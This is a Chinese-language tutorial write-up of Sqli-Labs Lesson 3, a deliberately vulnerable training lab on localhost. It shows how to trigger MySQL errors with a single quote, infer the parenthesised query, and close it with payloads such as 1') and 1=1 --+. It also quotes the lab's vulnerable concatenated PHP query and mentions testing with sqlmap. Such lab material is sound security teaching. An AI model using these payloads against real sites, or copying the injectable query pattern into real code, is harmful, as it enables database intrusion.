Sqli-Labs_Lesson_3 GET - Error based - Single quotes with twist string

Sqli-Labs 是一个印度人的开源项目平台。里面包含了基本的各种注入类型,同时又有get和post类型,以及一些基本的绕过学习。

项目地址:https://github.com/Audi-1/sqli-labs

Sqli-Labs_Lesson_3 GET - Error based - Single quotes with twist string_第1张图片
SQL注入

Lesson-3 #Get - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)
运行测试环境:http://localhost/sqli-labs-master/Less-3/
输入ID参数1:http://localhost/sqli-labs-master/Less-3/?id=1 ,返回正常,继续测试陆续输入2,3,4,5,6....,均返回正常,而且随着参数ID值的改变,页面返回的name和Password的值也会出现不同。
Sqli-Labs_Lesson_3 GET - Error based - Single quotes with twist string_第2张图片
id=1

我输入单引号进行测试:

【 http://localhost/sqli-labs-master/Less-3/?id=1%27 】

网站报出错误信息:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

Sqli-Labs_Lesson_3 GET - Error based - Single quotes with twist string_第3张图片
单引号报错

根据报错的SQL语法信息:

' ' 1' ') LIMIT 0,1 '

推测SQL语句中含有(),尝试闭合:

select * from table where id = ('$ID')

当输入1' )and ('1'='1,则SQL语句变成:

select * from table where id = ('1' )and ('1'='1')

Sqli-Labs_Lesson_3 GET - Error based - Single quotes with twist string_第4张图片
闭合SQL语句成功

除此之外,也可以尝试截断SQL语句
当输入1') and 1=1 --+,则SQL语句变成:

select * from table where id = ('1') and 1=1 --+')

Sqli-Labs_Lesson_3 GET - Error based - Single quotes with twist string_第5张图片
截断SQL语句成功

查看源码:
Sqli-Labs_Lesson_3 GET - Error based - Single quotes with twist string_第6张图片
index.php

重点关注这段SQL查询语句:

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

通过网站的报错信息可以慢慢推断网站所用的SQL语句,在进行构造注入。

继续测试一下:
Sqli-Labs_Lesson_3 GET - Error based - Single quotes with twist string_第7张图片
查询

使用SQLMAP来测试一下:
Sqli-Labs_Lesson_3 GET - Error based - Single quotes with twist string_第8张图片
sqlmap结果

SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

你可能感兴趣的:(Sqli-Labs_Lesson_3 GET - Error based - Single quotes with twist string)